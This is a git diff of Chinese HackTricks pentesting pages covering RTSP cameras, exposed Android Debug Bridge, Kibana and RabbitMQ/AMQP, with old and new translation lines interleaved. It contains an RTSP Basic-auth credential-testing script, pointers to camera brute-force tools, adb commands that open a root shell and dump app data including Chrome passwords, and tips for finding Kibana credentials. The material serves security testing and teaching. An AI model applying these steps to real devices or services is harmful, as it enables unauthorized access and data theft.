基本认证是首选的方法,希望收到的响应表明它是可用的。如果不是,有三种不同的方法来组装摘要认证元素,所以摘要认证可能会变得麻烦,尤其是在盲目(未经认证)的情况下。本文的其余部分将坚持使用基本认证。我可能会在后续文章中写一篇,一旦我破译了进行盲目摘要认证的秘诀。
|
||||
|
||||
要构造一个基本认证元素,只需将 \<username> “:” \<password> 进行 base 64 编码并添加到请求中。所以一个新的请求看起来像:
|
||||
对于**基本身份验证**,您需要将用户名和密码进行 base64 编码,并将其包含在请求中,如下所示:
|
||||
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n`
|
||||
|
||||
再次注意,请求以双“\r\n”结束。
|
||||
|
||||
值 YWRtaW46MTIzNA== 是 base 64 编码的用户名和密码,用“:”连接。在这个例子中,我使用了“admin”/“1234”。一些简单的 python 脚本尝试如下:
|
||||
此示例使用 "admin" 和 "1234" 作为凭据。以下是一个用于发送此类请求的**Python 脚本**:
|
||||
```python
|
||||
import socket
|
||||
req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
|
||||
|
@ -63,13 +53,13 @@ s.sendall(req)
|
|||
data = s.recv(1024)
|
||||
print(data)
|
||||
```
|
||||
您已获得访问权限。
|
||||
**基本身份验证**更简单且更受青睐。**摘要身份验证**需要小心处理“401未经授权”响应中提供的身份验证细节。
|
||||
|
||||
**来自:** [**http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/**](https://web.archive.org/web/20161020202643/http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)
|
||||
本概述简化了访问RTSP流的过程,重点介绍了**基本身份验证**,因为在最初尝试中,它更简单且实用。
|
||||
|
||||
## 枚举
|
||||
|
||||
让我们获取有关支持的有效方法和URL的信息,并尝试暴力破解访问(如果需要),以获取内容访问权限。
|
||||
让我们获取有关支持的有效方法和URL的信息,并尝试暴力破解访问(如果需要)以访问内容。
|
||||
```bash
|
||||
nmap -sV --script "rtsp-*" -p <PORT> <IP>
|
||||
```
|
||||
|
@ -77,31 +67,33 @@ nmap -sV --script "rtsp-*" -p <PORT> <IP>
|
|||
|
||||
### **其他有用的程序**
|
||||
|
||||
暴力破解使用:[https://github.com/Tek-Security-Group/rtsp\_authgrinder](https://github.com/Tek-Security-Group/rtsp\_authgrinder)
|
||||
用于暴力破解:[https://github.com/Tek-Security-Group/rtsp\_authgrinder](https://github.com/Tek-Security-Group/rtsp\_authgrinder)
|
||||
|
||||
**Cameradar**
|
||||
|
||||
Cameradar允许您:
|
||||
[**Cameradar**](https://github.com/Ullaakut/cameradar)
|
||||
|
||||
* 检测任何可访问目标上的开放RTSP主机
|
||||
* 获取它们的公共信息(主机名、端口、摄像机型号等)
|
||||
* 发起自动化字典攻击以获取它们的流路由(例如 /live.sdp)
|
||||
* 发起自动化字典攻击以获取摄像机的用户名和密码
|
||||
* 生成缩略图以检查流是否有效并快速预览它们的内容
|
||||
* 尝试创建Gstreamer管道以检查它们是否编码正确
|
||||
* 打印Cameradar能够获取的所有信息的摘要
|
||||
* 获取它们的公共信息(主机名、端口、摄像头型号等)
|
||||
* 启动自动字典攻击以获取它们的流路由(例如/live.sdp)
|
||||
* 启动自动字典攻击以获取摄像头的用户名和密码
|
||||
* 从中生成缩略图,以检查流是否有效,并快速预览其内容
|
||||
* 尝试创建一个Gstreamer管道,以检查它们是否被正确编码
|
||||
* 打印Cameradar能获取的所有信息的摘要
|
||||
|
||||
## 参考资料
|
||||
* [https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol](https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol)
|
||||
* [http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)
|
||||
* [https://github.com/Ullaakut/cameradar](https://github.com/Ullaakut/cameradar)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)上**关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零到英雄学习AWS黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果你想在**HackTricks中看到你的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
**Android Debug Bridge** (adb) 是一个多功能的命令行工具,允许你与设备进行通信。adb命令支持多种设备操作,例如**安装和调试应用程序**,并提供**访问Unix shell**的能力,你可以使用它在设备上运行各种命令。(来源于[这里](https://developer.android.com/studio/command-line/adb))
|
||||
来自[文档](https://developer.android.com/studio/command-line/adb):
|
||||
|
||||
**Android Debug Bridge**(adb)是一个多功能的命令行工具,可让您与设备通信。 adb命令可实现各种设备操作,如**安装和调试应用程序**,并提供访问**Unix shell**的权限,您可以使用它在设备上运行各种命令。
|
||||
|
||||
**默认端口**:5555。
|
||||
```
|
||||
|
@ -25,43 +27,35 @@ PORT STATE SERVICE VERSION
|
|||
```
|
||||
## 连接
|
||||
|
||||
如果发现ADB服务在设备的端口上运行,并且你可以连接到它,**你可以在系统内获得一个shell:**
|
||||
如果发现设备上某个端口运行着ADB服务,并且你可以连接到它,**你就可以在系统内部获取一个shell:**
|
||||
```bash
|
||||
adb connect 10.10.10.10
|
||||
adb root # Try to escalate to root
|
||||
adb shell
|
||||
```
|
||||
有关更多ADB命令,请查看以下页面:
|
||||
|
||||
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %}
|
||||
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 转储应用数据
|
||||
|
||||
为了完整下载应用程序的数据,您可以:
|
||||
为了完全下载一个应用程序的数据,您可以:
|
||||
```bash
|
||||
# From a root console
|
||||
chmod 777 /data/data/com.package
|
||||
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
|
||||
adb pull "/sdcard/com.package"
|
||||
```
|
||||
你可以使用这个技巧来**检索像chrome密码这样的敏感信息**。更多信息请查看[**这里**](https://github.com/carlospolop/hacktricks/issues/274)提供的信息和参考资料。
|
||||
|
||||
## Shodan
|
||||
|
||||
* `android debug bridge`
|
||||
* `安卓调试桥`
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果你想在HackTricks中看到你的**公司广告**或者**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享你的黑客技巧**。
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,24 +1,37 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
Kibana 为在 Elasticsearch 中索引的数据提供搜索和数据可视化功能。该服务默认在端口 **5601** 上运行。Kibana 还充当监控、管理和保护 Elastic Stack 集群的用户界面。
|
||||
Kibana以其在Elasticsearch中搜索和可视化数据的能力而闻名,通常在端口**5601**上运行。它作为Elastic Stack集群的监控、管理和安全功能的界面。
|
||||
|
||||
## 认证?
|
||||
## 理解身份验证
|
||||
|
||||
Kibana 的认证与 [**Elasticsearch**](9200-pentesting-elasticsearch.md) 的**凭据相关联**。如果在 **Elasticsearch** 中**禁用了认证**,**Kibana** 也应该**可以无需凭据访问**。否则,对 Elasticsearch 有效的**相同凭据**应该在登录 Kibana 时也能使用。在 **Elasticsearch** 中的**用户权限**与在 **Kibana** 中的**相同**。
|
||||
Kibana中的身份验证过程与**Elasticsearch中使用的凭据**密切相关。如果Elasticsearch已禁用身份验证,则可以在没有任何凭据的情况下访问Kibana。相反,如果Elasticsearch受到凭据保护,则访问Kibana需要相同的凭据,保持两个平台上的用户权限相同。凭据可能在**/etc/kibana/kibana.yml**文件中找到。如果这些凭据与**kibana_system**用户无关,则可能提供更广泛的访问权限,因为kibana_system用户的访问权限仅限于监控API和.kibana索引。
|
||||
|
||||
你可能会在配置文件 **/etc/kibana/kibana.yml** 中找到凭据。如果这些凭据不是用于用户 **kibana\_system**,应该尝试使用它们来访问更多数据。它们可能比 **kibana\_system** 用户拥有更多权限,后者只能访问监控 API 和 **.kibana** 索引。
|
||||
## 访问后的操作
|
||||
|
||||
## 拥有访问权限?
|
||||
一旦访问Kibana得到保障,建议执行以下操作:
|
||||
|
||||
当拥有对 Kibana 的访问权限时,你可以做几件事情:
|
||||
- 探索来自Elasticsearch的数据应是首要任务。
|
||||
- 管理用户的能力,包括编辑、删除或创建新用户、角色或API密钥,可在Stack Management -> Users/Roles/API Keys下找到。
|
||||
- 重要的是检查安装的Kibana版本是否存在已知漏洞,例如在6.6.0版本之前发现的RCE漏洞([更多信息](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2))。
|
||||
|
||||
* 尝试**访问来自 Elasticsearch 的数据**
|
||||
* 检查是否可以访问用户面板,以及是否可以**编辑、删除或创建新用户**、角色或 API 密钥(堆栈管理 -> 用户/角色/API 密钥)
|
||||
* 检查当前版本是否存在漏洞(**2019年,Kibana 版本 < 6.6.0 存在 RCE 漏洞** \[[2](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)])
|
||||
## SSL/TLS注意事项
|
||||
|
||||
## 启用了 SSL/TLS?
|
||||
|
||||
如果没有启用 SSL/TLS,应该评估是否可能泄露敏感信息。
|
||||
在未启用SSL/TLS的情况下,应仔细评估泄露敏感信息的潜在风险。
|
||||
|
||||
## 参考资料
|
||||
|
||||
|
@ -27,14 +40,14 @@ Kibana 的认证与 [**Elasticsearch**](9200-pentesting-elasticsearch.md) 的**
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> 从零到英雄学习 AWS 黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持 HackTricks 的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享你的黑客技巧。**
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,26 @@
|
|||
# 5671,5672 - Pentesting AMQP
|
||||
# 5671,5672 - AMQP 渗透测试
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 如果你在一家**网络安全公司**工作,想在**HackTricks**上看到你的**公司广告**,或者想要获取**PEASS的最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列,[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
**RabbitMQ** 是一种**消息队列软件**,也被称为_消息代理_或_队列管理器_。简单来说,它是定义队列的软件,应用程序连接到这些队列以传输消息。\
|
||||
**消息可以包含任何类型的信息**。例如,它可以包含有关应该在另一个应用程序(甚至可能在另一个服务器上)上启动的过程或任务的信息,或者它可以仅仅是一个简单的文本消息。队列管理软件存储消息,直到接收应用程序连接并从队列中取走消息。然后接收应用程序处理消息。\
|
||||
定义来自[这里](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html)。
|
||||
来自 [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):
|
||||
|
||||
> **RabbitMQ** 是一种被称为 _消息代理_ 或 _队列管理器_ 的 **消息队列软件**。简单来说;它是一个定义了队列的软件,应用程序连接到这些队列以传输消息。\
|
||||
> 一个 **消息可以包含任何类型的信息**。例如,它可以包含关于应该在另一个应用程序上启动的进程或任务的信息(甚至可以在另一台服务器上),或者它可以只是一个简单的文本消息。队列管理器软件存储消息,直到接收应用程序连接并从队列中取出消息。然后接收应用程序处理消息。\
|
||||
定义来自。
|
||||
|
||||
**默认端口**:5672,5671
|
||||
```
|
||||
|
@ -56,23 +60,23 @@ PORT STATE SERVICE VERSION
|
|||
```
|
||||
### 暴力破解
|
||||
|
||||
* [**AMQP 协议暴力破解**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
|
||||
* [**STOMP 协议暴力破解**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
|
||||
* [**AMQP协议暴力破解**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
|
||||
* [**STOMP协议暴力破解**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
|
||||
|
||||
## 其他 RabbitMQ 端口
|
||||
## 其他RabbitMQ端口
|
||||
|
||||
从 [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) 可以找到 **rabbitmq 使用多个端口**:
|
||||
在[https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html)中,您可以发现**rabbitmq使用多个端口**:
|
||||
|
||||
* **1883, 8883**:([MQTT 客户端](http://mqtt.org) 不使用及使用 TLS,如果启用了 [MQTT 插件](https://www.rabbitmq.com/mqtt.html)。[**了解更多关于如何对 MQTT 进行渗透测试的信息**](1883-pentesting-mqtt-mosquitto.md)。
|
||||
* **4369: epmd**,RabbitMQ 节点和 CLI 工具使用的对等发现服务。[**了解更多关于如何对此服务进行渗透测试的信息**](4369-pentesting-erlang-port-mapper-daemon-epmd.md)。
|
||||
* **5672, 5671**:AMQP 0-9-1 和 1.0 客户端不使用及使用 TLS
|
||||
* **15672**:[HTTP API](https://www.rabbitmq.com/management.html) 客户端,[管理 UI](https://www.rabbitmq.com/management.html) 和 [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html)(仅当启用了 [管理插件](https://www.rabbitmq.com/management.html) 时)。[**了解更多关于如何对此服务进行渗透测试的信息**](15672-pentesting-rabbitmq-management.md)。
|
||||
* 15674:STOMP-over-WebSockets 客户端(仅当启用了 [Web STOMP 插件](https://www.rabbitmq.com/web-stomp.html) 时)
|
||||
* 15675:MQTT-over-WebSockets 客户端(仅当启用了 [Web MQTT 插件](https://www.rabbitmq.com/web-mqtt.html) 时)
|
||||
* 15692:Prometheus 指标(仅当启用了 [Prometheus 插件](https://www.rabbitmq.com/prometheus.html) 时)
|
||||
* 25672:用于节点间和 CLI 工具通信(Erlang 分布式服务器端口),从动态范围分配(默认限制为单个端口,计算为 AMQP 端口 + 20000)。除非这些端口的外部连接确实必要(例如,集群使用 [联合](https://www.rabbitmq.com/federation.html) 或在子网外的机器上使用 CLI 工具),否则这些端口不应公开暴露。详情见[网络指南](https://www.rabbitmq.com/networking.html)。**互联网上仅开放了 9 个这样的端口**。
|
||||
* 35672-35682:CLI 工具使用(Erlang 分布式客户端端口)与节点通信,从动态范围分配(计算为服务器分布端口 + 10000 至服务器分布端口 + 10010)。详情见[网络指南](https://www.rabbitmq.com/networking.html)。
|
||||
* 61613, 61614:[STOMP 客户端](https://stomp.github.io/stomp-specification-1.2.html) 不使用及使用 TLS(仅当启用了 [STOMP 插件](https://www.rabbitmq.com/stomp.html) 时)。开放此端口的设备少于 10 台,大多数用于 DHT 节点的 UDP。
|
||||
* **1883, 8883**:([MQTT客户端](http://mqtt.org)未加密和加密,如果启用了[MQTT插件](https://www.rabbitmq.com/mqtt.html))。[**了解更多关于如何对MQTT进行渗透测试的信息**](1883-pentesting-mqtt-mosquitto.md)。
|
||||
* **4369:epmd**,RabbitMQ节点和CLI工具使用的对等发现服务。[**了解更多关于如何对此服务进行渗透测试的信息**](4369-pentesting-erlang-port-mapper-daemon-epmd.md)。
|
||||
* **5672, 5671**:用于AMQP 0-9-1和1.0客户端的未加密和加密连接
|
||||
* **15672**:[HTTP API](https://www.rabbitmq.com/management.html)客户端,[管理界面](https://www.rabbitmq.com/management.html)和[rabbitmqadmin](https://www.rabbitmq.com/management-cli.html)(仅在启用[管理插件](https://www.rabbitmq.com/management.html)时)。[**了解更多关于如何对此服务进行渗透测试的信息**](15672-pentesting-rabbitmq-management.md)。
|
||||
* 15674:STOMP-over-WebSockets客户端(仅在启用[Web STOMP插件](https://www.rabbitmq.com/web-stomp.html)时)
|
||||
* 15675:MQTT-over-WebSockets客户端(仅在启用[Web MQTT插件](https://www.rabbitmq.com/web-mqtt.html)时)
|
||||
* 15692:Prometheus指标(仅在启用[Prometheus插件](https://www.rabbitmq.com/prometheus.html)时)
|
||||
* 25672:用于节点间和CLI工具通信(Erlang分发服务器端口),从动态范围分配(默认情况下限制为单个端口,计算为AMQP端口+20000)。除非这些端口上的外部连接确实非常必要(例如,集群使用[federation](https://www.rabbitmq.com/federation.html)或在子网外部的机器上使用CLI工具),否则不应公开这些端口。有**只有9个这些端口在互联网上打开**。
|
||||
* 35672-35682:用于CLI工具(Erlang分发客户端端口)与节点通信,从动态范围分配(计算为服务器分发端口+10000到服务器分发端口+10010)。有关详细信息,请参阅[网络指南](https://www.rabbitmq.com/networking.html)。
|
||||
* 61613, 61614:[STOMP客户端](https://stomp.github.io/stomp-specification-1.2.html)未加密和加密连接(仅在启用[STOMP插件](https://www.rabbitmq.com/stomp.html)时)。少于10台设备开放此端口,主要用于DHT节点的UDP。
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -80,12 +84,14 @@ PORT STATE SERVICE VERSION
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在 **HackTricks** 中看到您的**公司广告**吗?或者您想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
